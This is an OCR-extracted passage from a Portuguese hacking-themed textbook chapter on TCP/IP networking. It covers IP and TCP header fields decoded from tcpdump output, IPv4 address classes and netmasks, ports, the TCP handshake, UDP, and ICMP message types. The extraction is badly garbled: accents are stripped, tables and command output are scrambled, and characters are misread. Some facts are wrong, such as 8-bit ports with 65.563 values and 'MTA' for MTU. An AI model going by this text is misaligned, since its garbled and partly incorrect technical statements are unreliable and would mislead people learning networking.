sua utilizao prtica. Esperamos, pelo menos, que sirva como uma introduo para esses recursos. Aps a leitura deste livro, recomendamos ao leitor que se aprofunde no estudo desse protocolo e das tecnologias de rede baseadas nele. Alm dos livros de Andrew Tannembaum e do Prof. Gabriel Torres (ambos chamados Redes de Computadores), j citados vrias vezes no decorrer do livro, recomendamos as seguintes publicaes: ~ Projeto e Arquitetura de Redes, de J.F.Dimarzio; ~ Intemetworking com TCP/IP, de Doug Comer; ~ Aprenda TCP/IP em 14 dias, de Tim Parker; ~ Administrao de redes TCP/IP, de Craig Hunt; ~ TCP/IP Illustrated, volume 1, de w: Richard Stevens. Na Internet, h excelentes recursos em portugus disponibilizados por pesquisadores de universidades brasileiras, empresas do setor e sites especializados. Alguns bons trabalhos sobre redes e TCP/lP que recomendamos: ~ Apostila TCP/IP de CCUEC (www.dicas-l.unicamp.br/freinamentos/tcpip); ~ Notas de Aula TCP/IP, de Ricardo Ueda, Instituto de Matemtica e Estatstica da USP (www.ime.usp.br/-ueda/ldoc/notastcp.html).
1158 1 Redes II [
Universidade 2 Ano
E, em ingls, recomendamos: ~ TCP/IP Tutorial and Technical Overview, IBM Red Books (publib-b. boulder.ibm.com/redbooks.nsf/portals/N etworking ); ~ Netscape Open Directory (dmoz.org/Computers/Internet/Protocols). H ainda na Internet, diversos grupos de discusso sobre redes. Dois dos grupos, que os autores no s recomendam como tambm participam, so o Dicas-L, hospedado na Unicamp (www.dicas-l.unicamp.br) e mantido pelo competentssimo Rubens Queiroz de Almeida, e o Redes-L, hospedado e mantido pela FAPESP (listas.ansp.br/mailman/listinfo/redes-l). Por ltimo, sabemos que no Brasil existem diversas publicaes voltadas para o usurio de informtica e o administrador de redes. Uma lista delas, tambm prestigiadas pelos autores, : ~ In/o Exame ~ Revista do Linux ~ H4CK3R ~ Geek ~ PC Brasil
I Universidade H4CK3R I
Aplicao Aplicao Apresentao Sesso TCP/UDP IP Ethernet Fsica Transporte Rede Conexo Fsica
Mail, NFS, HTTP, 5MB External Data Representation Remote Procedure TCP/UDP IP/ICMP Ethernet Cabo de par tranado categoria 5 (XDR)
Calls (RPC)
Observe: na prtica, h aplicativos que fazem as funes das camadas 7,6 e 5. Como so aplicativos externos, de implementao livre e que rodam na rea do usurio, considera-se que todos eles estejam na camada de aplicao.
Protocolo IP
o burro de carga da pilha TCP/lP o protocolo IP. atravs de pacotes IP (ou seja, quadros de dados montados segundo o protocolo IP) que as mensagens das aplicaes sero transportadas entre as diferentes redes. O protocolo tambm defllle como ser o esquema de endereamento para que cada mquina tenha um identificador nico em todas as redes. Tal endereamento implementado com nmeros IP: um grupo de 32 bits, divididos em quatro grupos de oito (ou seja, quatro bytes) e que obedecem ao deflllido no protocolo IP. Atente, portanto, para o fato de que protocolo IP,nmero IP e pacote IP no so a mesma coisa! Neste livro, falaremos exclusivamente de pacotes IP da verso 4, conhecido como IPv4. As exigncias da Internet atualmente (notadamente desempenho, segurana e principalmente indisponibilidade de nmeros IPv4) levaram ao desenvolvimento de um novo protocolo chamado IPv6, que est sendo utilizado na Internet 2.
1160 1 Redes 11r
Universidade 2 Ano
o pacote IP
As informaes vindas das camadas superiores (em nosso caso, TCP e UDP) devem ser inseridas em um pacote de dados para que sejam transmitidas segundo os procedimentos definidos no protocolo IP. Esse pacote montado segundo um modelo tambm defInido no protocolo chamado de Datagrama IP. Um datagrama IP uma seqncia serial de bytes, dos quais os 20 primeiros compem o chamado cabealho IP.A aluso a telegramas no cacofonia: um datagrama parece-se realmente com seu colega de "carne e osso" (ou antes, de papel e tinta): TOS(8) Verso(4) I IHL(4) I Identificao(16) TTL(8) I Protocolo(8) Tamanho TotaL(16) Fragment Offset(13) Flags(3)
Nmero de Verificao(16) Endereo IP de origem(32) Endereo IP de destino(32) Opes (se houver) Enchimento
Dados
Os valores entre parnteses indicam o tamanho do campo em bits. No incio do datagrama temos o campo verso. Como o nome j diz, ele indica a verso do protocolo IP em uso. Possui quatro bits, o que daria 16 possibilidades de verses diferentes do protocolo IP.Entretanto, atualmente temos apenas duas, IPv4 e IPv6. O valor armazenado a numrico, portanto o IPv4 seria representado pelo nmero binrio 0100, e o IPv6, por 0110. Observando o cabealho, nota-se que ele formado por linhas de 32 bits de comprimento. O campo tamanho de cabealho (Internet Header Length ou IHL) fornece o comprimento do cabealho em nmero de palavras de 32 bits. Se no houver opes, o valor vlido para esse campo cinco. Havendo opes, esse valor pode crescer indefInidamente para acomodar todas. Os roteadores so equipamentos dotados de certa inteligncia. Eles sabem, por exemplo, qual das rotas ligadas a ele mais barata ou mais conflvel. O campo tipo de servio (Type of Service ou ToS) permite dar aos roteadores indicaes sobre como tratar o pacote e por onde envi-Io. Possui quatro flags: minimizar atraso, maximizar desempenho, maximizar confiabilidade e minimizar custo. Baseado nesses flags, o roteador vai encaminhar o pacote IP para uma determinada rota. A maioria das implementaes existentes, entretanto, ignora solenemente este campo, portanto seu uso pode no surtir o efeito desejado. 1161
] Redes 11
I Universidade
H4CK3R I
campo tamanho total guarda o comprimento do datagrama, em bytes, englobando todo o cabealho mais o container de dados. Na teoria, 16 bits poderiam indicar um tamanho de at 65.535 bytes. Mas um pacote IP de 64 KB monstruoso. Na prtica, o tamanho padro dos pacotes 576 bytes. Depois que a conexo for estabelecida e o sistema certificar-se de que todos os segmentos do caminho - principalmente o computador destino - suportam pacotes maiores, esse valor pode ser modificado. Alis, um dos mtodos mais antigos de negao de servio, ou DoS, era forar o envio de um pacote IP com um tamanho de 64 kbytes. Se o destino no estivesse preparado para um pacote to grande fatalmente seria derrubado. o conhecido Ping of Death. s vezes necessrio fragmentar o pacote IP.Diversos motivos podem obrigar um roteador a isso. Um deles rotear entre duas redes cuja camada 2 (data link) tenha implementaes com tamanhos de payload diferentes. Por exemplo, entre uma rede Ethernet, que possui um MTA(maximum transfer unit) de 1.500 bytes para uma clula ATM com comprimento de 480 bytes. O pacote IP padro de 576 bytes no cabe na clula ATM.Deve-se quebrar o pacote IP em dois, portanto, para que possa trafegar nesse novo meio. Quando, l do outro lado, os pacotes fragmentados sarem do ATMem direo a outro segmento Ethernet, deve haver um mecanismo que possa desfragmentar novamente o pacote. O campo identificao carrega um nmero que reconhece o pacote. na verdade um contador circular, pois quando a contagem chega em 65535, retorna a zero. Caso seja necessrio fragment-Io, todas as partes carregaro o mesmo ID. Assim, impossvel confundi-Ios com fragmentos de outros pacotes. O campo flags possui trs controles que indicam se um datagrama pode ou no ser fragmentado e se houve fragmentao. O deslocamento de fragmentao (fragment offset) indica a posio daquele fragmento dentro do datagrama original, e usado para a remontagem do mesmo. Cada unidade no fragment offset representa um deslocamento de 64 bits no pacote original. Em pacotes no fragmentados, o valor desse campo zero. Um dos campos mais importantes do datagrama IP o TIL ou Time to Live. Indica o nmero mximo de roteadores pelos quais o pacote pode passar. Quando o valor chega a zero, o pacote descartado. Esse artifcio evita que pacotes IP sem dono vaguem indefInidamente pela Internet. O campo protocolo indica qual protocolo de camada 4 nosso pacote IP est carregando - veja a RFC1700. O nmero de verificao (checksum) , como vimos no pacote Ethernet (captulo 2, Redes 1), um nmero calculado na origem com base em todos os dados do pacote. Esse nmero recalculado no destino e, caso sejam diferentes, o pacote descartado. Note que o rec1culo ocorre cada vez que o pacote passa por um roteador. Como os dados do cabealho mudam durante o caminho, o checksum diferente em cada segmento pelo qual passa.
1162 I Redes 11 [
Universidade 2 Ano
Logo a seguir, temos, fmalmente, os campos de endereo. Ambos possuem um comprimento de 32 bits. Logo aps, temos o campo opes, que pode ter de zero a vrios bytes. Dependendo do nmero de opes, pode ocupar vrias linhas de 32 bits. O campo enchimento possui tamanho varivel e serve para garantir que a ltima linha do campo opes tenha um comprimento de 32 bits, garantindo assim a consistncia do cabealho. Vamos escovar um pouco os bits? Se voc tem acesso a algum Unix, podemos ver o contedo dos pacotes IP com o comando tcpdump:
# tcpdump -i <interface> -1 -n -x port 80 ack 357 win 05:39:40.734407 192.168.1.11.2819 > 213.61.48.245.80: 6432 <nop,nop,timestamp 63228741037367659> (DF) 4500 0034 3779 4000 4006 3b65 cOa8 010b d53d 30f5 Ob03 0050 785c 4fcO 77aa ce8b 8010 1920 c9b6 0000 0101 080a 0060 7aba 3dd4 f96b
Esse comando analisa todos os pacotes que entram e saem da mquina. Voc pode observar que o prprio tcpdump decodificou algumas coisas: hora em que o pacote passou pela interface (5h39), endereos de origem (192.168.1.11) e destino (213.61.48.245) e alguns flags de controle. Logo abaixo, em notao hexadecimal, esto os bytes correspondentes ao pacote IP completo. Cada algarismo representa 4 bits. Poderamos utilizar, em vez do tcpdump, o programa Ethereal (www.ethereal.com). que tem verses para Windows e Unix e uma bonita e funcional interface grfica. Os autores recomendam o excelente Ethereal para diagnosticar praticamente todos os problemas envolvendo desempenho e erros em redes de computadores. Para o propsito deste exemplo, entretanto, a sada do tcpdump vai servir. Penteando um pouco, vemos que o primeiro dgito tem o valor 4, ou seja, 0100. Estamos falando, portanto, de um pacote IPv4. O segundo dgito 5, o que indica que nosso pacote IP possui um cabealho com cinco linhas de 32 bits (ou seja, 20 bytes ou ainda 40 algarismos de nosso cabealho). Opa! J sabemos quanto temos de cabealho. Separando-o, temos: 4500 0034 3779 4000 4006 3b65 cOaS OlOb d53d 30f5 Escovando os bits mais um pouquinho, podemos observar que: ~ Verso: 4 ~ IHL: 5, ou seja, 20 bytes ~ TOS: 00 ~ Tamanho total: 0034 ou 52 bytes ~ Identificao: 3779
1163 I
] Redes11
I Universidade
H4CK3R I
~ Flags e frn.gment Offset: 4000. As flags esto setadas como 0100, indicando que o pacote pode ser fragmentado e que no houve, ainda, fragmentao. Os outros 12 bits esto zerados (no h fragmentao). ~ TIL: 40, ou 64 roteadores. Quando o pacote chegar ao 64 roteador ser descartado, a no ser que o campo TIL seja reca1culado por algum outro roteador no meio do caminho.
6. Cada protocolo de camada 4 transportado pelo IP ~ Protocolo: possui um nmero que o identifica. No exemplo, o nmero 6 representa um pacote TCP. ~ Checksum: 3b65
~ Endereo de origem: cO.a8.01.0b - ou, em decimal, 192.168.1.11 ~ Endereo destino: d5.3d.30.f5 - ou, em decimal, 213.61.48.245
Endereamento IP
No captulo Redes I, vimos alguns fundamentos sobre numerao IP.Naquela ocasio, dissemos que um nmero IP contm 4 bytes no formato: 000.000.000.000. Cada byte, sendo um valor de 8 bits, pode obviamente conter um valor entre O e 255, como, por exemplo, 200.230.168.1. No deve haver duas mquinas com o mesmo endereo IP em uma mesma rede, pois seria impossvel rotear os pacotes at o destino correto. Os nmeros IP identificam a interface de uma mquina qualquer em uma rede. Mais do que isso, identificam em qual rede o n est conectado caso vrias redes estejam ligadas entre si. Para ver qual o nmero IP designado para a sua mquina, abra um terminal ou janela do DOS e d os comandos ifconfig (no Linux), winipcfg (para a famlia Win9x) e ipconfig (para a famlia WinNT). No Windows XP Home, este comando no est disponvel, portanto o leitor dever procurar pelas Propriedades de Rede no Painel de Controle. Qualquer que seja o comando, a sada ser parecida com esta:
ethO Encapsulamento
Endereo de HW
do
Link:
Ethernet
Pode haver ou no mais informaes anexadas sada. Os endereos IP so defmidos por interface. No exemplo mostrado (uma mquina Linux) aparecem os dados relativos interface ethO. Se houvesse mais uma interface (ex. ethl) existiriam nmeros IP para as duas interfaces. Outro dado que aparece o MAC address. Mas e aqueles dois outros campos, Broadcast e Mscara? Para descobrir para que ambos servem, temos de entender o conceito de classes de redes.
1164 I Redes"[
Universidade
2 Ano
Redes e Hosts
o nmero IP pode ser dividido em duas partes que identificam a rede em que esto conectados e seu endereo nico nessa rede. Por exemplo, no endereo 192.168.1.11, poderamos dizer que 192.168.1 representa a rede e 11 representa o 110 computador ligado a essa rede. Mas espere a! Onde termina o nmero de rede e onde comea o nmero de host? Para defInir isso, usamos um novo elemento, a mscara de rede. No endereo do nosso exemplo, a mscara de rede era 255.255.255.0. Para entender como esse emaranhado de nmeros pode separar alguma coisa, vamos transformar tudo em binrios:
192.168.1.11 255.255.255.0 11000000.10101000.00000001.00001011 11111111.11111111.11111111.00000000
Agora, basta fazer uma operao lgica E. O resultado da operao indica a rede (por isso ela chamada de mscara de rede). Na prtica, signiflca que todas as posies da mscara que possuem 1 indicam que aquele bit do endereo pertence ao nmero da rede. Em nosso exemplo, a rede seria 192.168.1.0. Nosso host fIcaria apenas com o nmero 11 para identiflc-Io nessa rede. Mas como defInir a mscara correta? Para isso, todo o endereamento foi dividido em classes. No vamos entrar em detalhes do porqu foi dividido dessa forma, mesmo porque irrelevante para os nossos objetivos. Basta saber que existem cinco classes de endereos, e que cada uma possui a seguinte confIgurao:
o
7 8
31
Classe A
G End. Rede[
o
7 8
End. Host
31
Classe B
End. Rede
End. Host
o
Classe C
Os
2 3 End. Rede
23 24
31
ITE
End. Host
endereo. Vemos que endereos de classe A possuem 24 bits reservados para hosts e apenas 8 bits para redes. Isso nos d 256 redes diferentes, cada uma com mais de 16 milhes de hosts. No caso da classe C, temos exatamente o inverso: 16 milhes de redes, cada uma com 256 endereos de host possveis. Na classe B meio a meio: 65.536 nmeros para cada lado.
1165 I
] RedesII
I Universidade
H4CK3R I
Dependendo da aplicao, usa-se um ou outro espao de endereamento. Fazendo as contas, e levando em considerao os bits iniciais das classes (que nunca mudam), temos a seguinte diviso:
Classe A: de 1.0.0.0 a 126.255.255.255 Classe B: de 128.0.0.0 a 191.255.255.255 Classe C: de 192.0.0.0 a 223.255.255.255
Eu no falei cinco classes? Sim, mas as duas restantes no possuem diviso de hosts e redes. A classe D encerra os chamados Endereos de Multicast. Enquanto um endereo IP nico em toda a rede, pode haver diversas mquinas com o mesmo endereo multicast. Ele serve para enviar pacotes comuns a todas essas mquinas. Foi criado com a idia original de suportar streamming de udio e vdeo. Pode-se identificar um endereo de multicast pelos bits iniciais 1110 ou, em decimal, 224. A classe E foi reservada para uso futuro, mas nunca foi aproveitada. Com o advento do IPv6, provavelmente nunca ser. Inicia com 1111 em binrio, ou 240 em decimal. Ainda falta descobrirmos o que o tal de Broadcast. Para tanto, vamos a algumas convenes. Em geral, as interfaces de rede consideram o valor "tudo zero" no endereo como a palavra "este", e o valor "tudo um" como "todos". Lembrando que, nos bits de cada um dos quatro bytes do endereo IP, "tudo zero" representado por O e "tudo um" por 255, temos: ~ 0.0.0.0 - Esta rede ~ a.b.O.O- A rede a.b ~ O.O.x.y- Estao x.y nesta rede ~ 255.255.255.255 - Todas as estaes ~ a.b.255.255 - Todas as estaes da rede a.b Voltemos ao endereo de broadcast que vimos no tcpdump, 192.168.1.255. Vimos que, aplicando a mscara de rede, conseguimos o endereo 192.168.1.0. Este o endereo da rede 192.168.1. O zero no lmal do endereo indica este, logo, poderamos decodificar "esta rede que se chama 192,168.1". J o 255 no lmal do endereo de broadcast ("tudo um") indica "todas as mquinas da rede 192.168.1". Puxa, nem era to difcil...
Protocolo TCP
O companheiro inseparvel do IP e grande estrela da Internet o protocolo TCP.Como a maioria dos servios disponveis baseia-se nele, devemos ter uma noo de como o pacote TCP montado e como se comporta, para entender como os ataques a esses servios funcionam.
1166 I Redes I1 [
Universidade 2 Ano
o pacote TCP
Como vimos em Redes I e, rapidamente, no captulo sobre Unix, todos os servios de Internet que usamos - HTTp, SMTp' POp, ICQ, KaZaA - ficam "escutando" a rede e esperando por uma conexo para si. Essa conexo d-se por meio de portas, que so nmeros atribudos aos servios em questo e dependem do protocolo utilizado.A porta representada por um algarismo de 8 bits, portanto temos 65.563 possveis servios que usem o protocolo TCP escutando a rede. Um exemplo clssico uma seo de e-mail. Quando se conecta ao servidor de SMTP pela porta TCP 25, nosso programa preferido (os autores usam Eudora e KMail) recebe dele uma string assim:
HELO srntp.seudorninio.com.br MAIL FROM: usuario1@seudorninio.com.br RCPT TO: destinatario@provedor.com.br DATA Date: Mon, 07 Apr 2003 12:16:35 -0500
Frorn: ...
(EST)
Cada mensagem ter um cabealho parecido com esse e vrios kbytes (s vezes, Mbytes, dependendo de quantos dias voc ficou sem verificar sua correspondncia...). Como qualquer idiota pode ver (ei, eu posso ver!), impossvel transportar todos os dados de seus e-mails (ou da pgina da Web, ou do MP3 do KaZaA) em um nico pacote TCP. Portanto, a fragmentao o mecanismo principal do protocolo. O cabealho TCP tem normalmente 20 bytes e se parece com este aqui:
Porta de Destino(16) Porta de Origem(16) Nmero seqencial (32) Nmero de Reconhecimento(32) Flags(6) Tamanho da janela(16) Tam.(4) Reservado(6) Verificador do TCP(16) Ponteiro de Urgncia(16) Enchimento Opes (se houver!
Dados
Os campos Nmero seqencial, Reconhecimento, Tamanho, Opes, Enchimento e Dados tm aplicaes idnticas s do protocolo IP. Os outros campos tm aplicao especfica para o protocolo TCP e um deles, o camplo Flags, o que faz com que o protocolo funcione - e o que os hackers usam para atac-Io.
11671 ] Redes II
I Universidade
H4CK3R
Vamos continuar escovando bits? A sada do comando tcpdump, que usamos para estudar o pacote IP,era:
05:39:40.734407 192.168.1.11.2819 timestamp > 0034 213.61.48.245.80:
ack
3b65 4fcO 080a
357
win
6432
<nop,
nop,
6322874
4500 d53d 8010 3dd4
1037367659>
3779 30f5 IOb03 1920 c9b6 f96b
(DF)
4006 785c 0101 cOa8 77aa 0060 010b ce8b 7aba
Observe os dados dentro do quadro. Esse o campo de dados do pacote IP. Mas lembre-se: o pacote TCP est "envelopado" dentro do Ip, ento se separarmos os 20 bytes iniciais do campo de dados IP temos o cabealho TCP. Ob03 0050 785c 4fcO 77aa ce8b 5010 1920 c9b6 0000
Os primeiros 2 bytes indicam a porta de origem. Ob03 2.819 em decimal. uma porta maior que 1.024, ou no privilegiada, o que indica que o pacote provavelmente! originou-se de um software cliente. A porta-destino, 0050, 80 em decimal. Da, pode-se deduzir que este pacote: ~ Foi criado por um navegador Web, como o Mozilla. ~ Dirige-se a um servidor Web, no caso o Apache do Greenpeace.org Os outros campos tambm so reveladores: ;).
~ Nmero seqencia1: 785c 4fcO. O nmero seqencial noTCP no se presta, apenas, fragmentao. O protocolo TCP controla a ordem em que os pacotes so recebidos e os ordena do destino, caso estejam fora de ordem. Alm disso, se um pacote demora a chegar, a mquina-destino faz com a mquina-cliente o mesmo que fazemos no McDonald's: pede pelo nmero. ~ Nmero de reconhecimento: 77aa ce8b. O computador-destino dos pacotes sempre devolve um nmero de reconhecimento de um pacote anteriormente recebido. Esse nmero o seqencial do pacote recebido + 1. ~ Tamanho do cabealho: 5 ~ Flags: 010, ou seja, em binrio 010000. Os flags so, em ordem, URG, ACK, PSH, RST,SYN e FIN. Neste exemplo, vemos que o flag ACK est ligado. ~ Tamanho da janela: 1.920, em decimal 6.432. a quantidade de bytes mxima que a origem pode manipular.
1 Sim, provavelmente. hackers podem alterar os nmeros das portas-destino dos pacotes enviados por ele para fazer com que os sistemas de defesa pensem que sua mquina um inocente servidor de Internet - e deixem passar o ataque...
1168 1
Redes II I
Universidade 2 Ano
~ Verificador: c9b6. o checksum do pacote TCP. ~ Ponteiro de urgncia: 0000. O protocolo TCP permite que certos dados dentro do pacote possam "furar a ftla" e ser processados primeiro. A flag URG indica que esses dados existem, e o ponteiro indica a posio, dentro da rea de dados, em que tais pacotes se encontram. Em nosso pacote-exemplo, no h nenhum dado urgente a processar.
Portas TCP
Diz-se que o TCP um protocolo orientado a conexo. Isso significa que no importa os caminhos pelos quais o pacote IP ande: para o TCP no existe "mundo l fora". O TCP cria um canal virtual entre a origem e o destino, e esse canal imune a influncias externas. A alegoria do cano perfeita: o TCP cria um tubo entre a aplicao origem e a destino, e os dois lados "conversam" por ele. Quem olhar por uma extremidade no ver roteadores, cabos, IPs, Ethernet, placas de rede, nada disso. Ver apenas seu companheiro de conexo no outro lado. Essa conexo s possvel porque existe o conceito de portas. Vamos divagar um pouco. Voc j deve ter ido a algum bar ou restaurante onde a cozinha no andar de cima e h elevadores para os diferentes tipos de itens oferecidos no cardpio. As bebidas no podem trafegar no mesmo elevador dos pratos quentes porque esquentaro. Estes no devem trafegar no mesmo ambiente das saladas, porque as deixaro murchas e possivelmente engorduradas. Sem falar nas sobremesas. Hipoteticamente, precisamos de, pelo menos, quatro elevadores2. Por outro lado, todas as mesas tm, tambm, nmeros. Se voc considerar que os garons so os pacotes IP, as comandas podem servir como pacotes TCP. Cada mesa "conecta-se" a um elevador por meio da comanda/TCP. A mesa 26 pode conectar-se ao elevador 4 e esperar uma sobremesa; a mesa 31, ao elevador 3 e esperar aquele Espaguete ao Vngoli. Note que cada um dos elevadores do nosso restaurante presta-se a um servio diferente. Se o casal da mesa 4 quiser o servio completo, ter de se conectar, em ordem, aos elevadores 1, 2, 3 e 4. O cafezinho um exemplo de servio alternativo que vem pela mesma porta de outro: desceu pelo elevador de sobremesas. E a conta vem por uma porta desconhecida e misteriosa (no saiu de elevador nenhum), estou achando que algum backdoor... Voltando ao domnio dos computadores, voc pode atribuir qualquer porta a qualquer servio. Mas existem sugestes para o uso delas, todas referenciadas na RFC1700. Por exemplo, a porta 80 normalmente destinada aos servidores Web ou HTTP.Quando voc abre uma pgina da Web e no diz em que porta est, o seu navegador infere que para usar a porta 80. Voc pode montar um servidorWeb e atribu-Io porta 12345, se quiser. Mas ter de informar a todos os seus clientes que seu servidor usa essa porta.
2 voc j viu um restaurante organizado assim? Eu nunca. Minhas bebidas chegam sempre quentes...
1169 I ] Redes II
I Universidade
H4CK3R I
Observe: a porta do cliente o que chamamos de alta ou no privilegiada. Ela maior que 1024 e normalmente fomecida pelo sistema operacional, que no usa uma porta ftxa para cada aplicao, mas a prxima porta que estiver disponvel. J a porta do servidor o que chamamos de baixa ou prioritria. Essas portas, ao contrrio das do cliente, so deftnidas pelo IETF e normatizadas pela RFC1700. Pense nos servios mais comuns que voc usa na Internet: FTP, SMTP, DNS e HTTP.Suas portas, segundo a RFC1700, so, respectivamente, 21, 25,53 e 80. D uma olhada na lista completa em www.ietf.org/rfc.htmI. H uma maneira fcil de ver quais portas esto sendo usadas. O comando netstat, presente tanto no Windows como em todos os Unix, mostra todos os aspectos do estado da conexo do computador com a rede. Emitir o comando sem argumentos vai mostrar todas as conexes ativas (vou usar um exemplo do Windows, desta vez, para no me chamarem de radical):
C: \> NETSTAT
Conexes
Prato TCP TCP TCP TCP TCP
ativas
Endereo local
Endereo
externo
:netbios-ssn
EST202: 1928
EST202 EST202: EST202 EST202: :2787 2934 :4065 4068
192.168.1.109
baym-cs41.mdc.chachucha.com:1863
streamer013
xuxu. c1ient.
.cache.
tatibi
gotorama.
ta ti . com:
com: http
ftp
TIME_WAIT ESTABLISHED
ADSL145-4.babababa.com.ar:1346
Experimente agora com as opes -na. A opo n diz ao netstat para no resolver os nomes dos sites e servios, mostrando-os como nmero IP e de portas. Observe a coluna endereo local. As milhares logo aps o sinal de ":" so as portas pelas quais os aplicativos-cliente esto "escutando" e conversando com os servidores. J nos endereos externos, note que h servios sendo disponibilizados por portas privilegiadas: netbios-ssn (139), http (80) e ftp (21). As outras duas esto "escutando" em portas altas. Como veremos nos captulos seguintes, saber quais portas esto ativas em nosso computador primordial para que identillquemos possveis atividades de hackers maliciosos. Por outro lado, conhecer as portas comuns e as ferramentas que as gerenciam pode facilitar as coisas para esses mesmos hackers. 1170
Redes11 [
Universidade 2 Ano
Sem os flags de controle, nenhuma conexo pode ser estabelecida ou mantida. Para isso, o protocolo TCP-IP se utiliza de um handshake bsico de trs etapas, que abre a sesso de comunicao e sincroniza entre as duas portas os nmeros seqenciais dos pacotes TCP.Observe:
SYN+ SEOc
Vamos usar o exemplo mais manjado de todos: um servidorWeb. O computador cliente deseja conectar-se ao servidor e obter dele a pgina principal index.php. O cliente envia um pacote TCP ao servidor para a porta 80 com o flag SYN ativado e com um nmero seqencial que marcar o incio da troca de dados. Todos os pacotes que saem do cliente em direo ao servidor sero seqncias em relao a esse primeiro, que vamos abreviar para SEQc O servidor (se estiver escutando naquela porta) vai responder com dois flags ativados: o ACK,indicando que reconheceu e aceitou o pacote enviado, e um novo SYN, solicitando que o cliente aceite o seu nmero seqenciaI (vamos cham-Io de SEQs)'O campo nmero de reconhecimento que vai em direo ao cliente possui o SEQc e, no campo nmero seqenciaI, SEQs' O cliente, ento, responde com um ACK + SEQs'indicando que eles podem iniciar a transferncia de dados sem problemas.
1171 I ] Redes 11
I Universidade
H4CK3R I
Como ambas as partes sabem qual o nmero seqencial do outro, fica fcil pedir o reenvio de pacotes perdidos e ordenar os pacotes no destino. No nem um pouco provvel que aqueles desorganizados, desordeiros e descarados pacotes IP tenham resolvido passear por lugares diferentes da Internet e chegaram no destino em uma ordem diferente da estipulada. O que acontece quando voc, no meio do carregamento da pgina, dica no boto Parar do seu navegador? Neste momento, o software em questo manda um pacote TCP para o servidor com o flag FIN ligado, como quem diz "pode parar que no quero mais brincar". O bit RST usado para derrubar conexes problemticas, negar tentativas no autorizadas ou incompletas de conexo (por exemplo, a uma porta que no existe) e liberar a porta em questo, se estiver em uso. Esta a parte mais importante de nossos estudos sobre o protocolo TCP/lp. Os hackers usam pesadamente os flags TCP para vasculhar nossas conexes e, dependendo das respostas que o sistema operacional retorna, calcula ou infere se a porta est aberta ou fechada, se existe proteo por firewall ou no e se algumas vulnerabilidades detectveis por esse processo esto presentes.
Protocolo UDP
O TCP "carne e unha" com o Ip, e juntos eles so "pau pra toda obra". A maioria dos servios oferecidos na Internet baseia-se nessa dupla dinmica (puxa, que trocadilho ruim...). Mas h um outro protocolo que pode ser considerado o "amigo do peito" do IP. H situaes em que toda a parafernlia de verificaes levadas a cabo pelo TCP no so necessrias. Na maioria dessas situaes, elas at atrapalham. Quando baixamos um programa da Internet ou uma msica pelo KaZaA (sem pirataria, pessoa!!), queremos que eles estejam ntegros, de outro modo no conseguiremos utiliz-Ios. Mas quando estamos ouvindo rdio ou vdeo pela Internet, a ordem dos pacotes e mesmo sua confiabilidade j no so assim to necessrias. nesse contexto que entra em cena o User Datagram Protocol. Como o prprio nome diz, o UDP um datagrama configurvel pelo usurio. Seu cabealho muito simples, e cabe ao prprio programa definir as regras de conexo e as informaes a serem trocadas entre as partes. A expresso no confivel normalmente usada para descrev-Io, por no possuir formas de recuperao de erros, mas isso uma mentira. O UDP serve para inmeros casos onde as opes de estabilidade do TCP ainda so insuficientes e devem, portanto, ser implementadas diretamente na aplicao. O pacote UDP no possui nenhum dos campos de controle, seqncia e reconhecimento, nada disso. Como no possvel estabelecer uma conexo com o TCp' pois no h meios de fazer o hadshake, dizemos que o protocolo
1172 1 Redes 11r
Universidade 2 Ano
UDP no orientado
ele
connectionless.
Voltando ao nosso streamming, um pacote UDP faltando significa uma manchinha qualquer na minha imagem em streamming, que passa despercebida pela rapidez com que outra imagem colocada no lugar. J o atraso provocado por todas as verificaes do pacote TCP tornariam o vdeo extremamente desagradvel de assistir. Um pacote UDP parece-se com este:
Dados
V-se que o pacote UDP avaro em recursos de rede. Seu cabealho apenas 8 bytes, em relao ao TCP que tem 20 ou mais.
tem
Protocolo ICMP
o pessoal que desenvolveu a famlia de protocolos TCP/IP no deu ponto sem n. Uma das coisas mais bacanas para o controle e sinalizao de eventos e problemas nas redes IP o tal do Internet Control Message Protocol. Sua funo enviar comandos simples a interfaces de rede e roteadores para que eles faam alguma coisa ou respondam com seu estado.Alm de ser usado automaticamete pelas interfaces e roteadores, uma caixa de ferramentas muito interessante para o administrador resolver problemas da rede. Hackers tambm adoram os recursos que o ICMP oferece para descobrir a topologia de nossa rede... O ICMP um protocolo de nvel 3 (ups, deveramos t-Io colocado antes do TCp, no acha? Bem, achamos que, didaticamente, ele ficaria melhor aqui). O cabealho do ICMP literalmente o mesmo do Ip, mas no campo de protocolos, em vez do 6 do TCP ou o 17 do UDp, colocamos 1. No campo de dados do pacote IP inserido mais um campo de controle, o chamado ICMP Type Field, que identifica o tipo de mensagem que o ICMP vai transportar. Esses cdigos tambm esto definidos pelo IETF na (adivinhe...) RFC1700 e mostrados na tabela a seguir:
1173
] RedesII
I Universidade
H4CK3R I
~ O Echo Reply [RFC792] ~ 1 Unassigned UBP] ~ 2 Unassigned UBP] ~ 3 Destination Unreachable [RFC792] ~ 4 Source Quench [RFC792] ~ 5 Redirect [RFC792] ~ 6 Alternate Host Address UBP] ~ 7 Unassigned UBP] ~ 8 Echo [RFC792] ~ 9 Router Advertisement [RFC1256] ~ 10 Router Se1ection [RFC1256] ~ 11 Time Exceeded [RFC792] ~ 12 Parameter Problem [RFC792] ~ 13 Timestamp [RFC792] ~ 14 Timestamp Reply [RFC792] ~ 15 Information Request [RFC792] ~ 16 Information Reply [RFC792] ~ 17 Address Mask Request [RFC950] ~ 18 Address Mask Reply [RFC950] ~ 19 Reserved (for Security) [Solo] ~ 20-29 Reserved (for Robustness Experiment) [ZSu] ~ 30 Traceroute [RFC1393] ~ 31 Datagram Conversion Error [RFC1475] ~ 32 Mobile Host Redirect [David Johnson] ~ 33 IPv6 Where-Are-You [Bill Simpson] ~ 34 IPv6 I-Am-Here [Bill Simpson] ~ 35 Mobile Registration Request [Bill Simpson] ~ 36 Mobile Registration Reply [Bill Simpson] ~ 37-255 Reserved UBP]
Alguns dos tipos de mensagem precisam de parmetros para funcionar. Outros, devolvem valores que informam o estado dos testes realizados. O campo em que esses valores so guardados, logo aps o Service Type, chamado de Code Byte. Alguns valores para code bytes importantes so:
11741 Redes 11 I
Universidade 2 Ano
Destination Unreachable
[RFC792]
Codes O Net Unreachable 1 Host Unreachable 2 Protocol Unreachable 3Port Unreachable 4 Fragmentation Needed and Don't Fragment was Set 5 Source Route Failed 6 Destination Network Unknown 7 Destination Host Unknown 8 Source Host Isolated 9 Communication with Destination Network is Administratively Prohibited 10 Communication with Destination Host is Administratively Prohibited 11 Destination Network Unreachable for Type of Service 12 Destination Host Unreachable for Type of Service 5 Redirect Codes O Redirect 1 Redirect 2 Redirect 3 Redirect 11 Time Exceeded [RFC792]
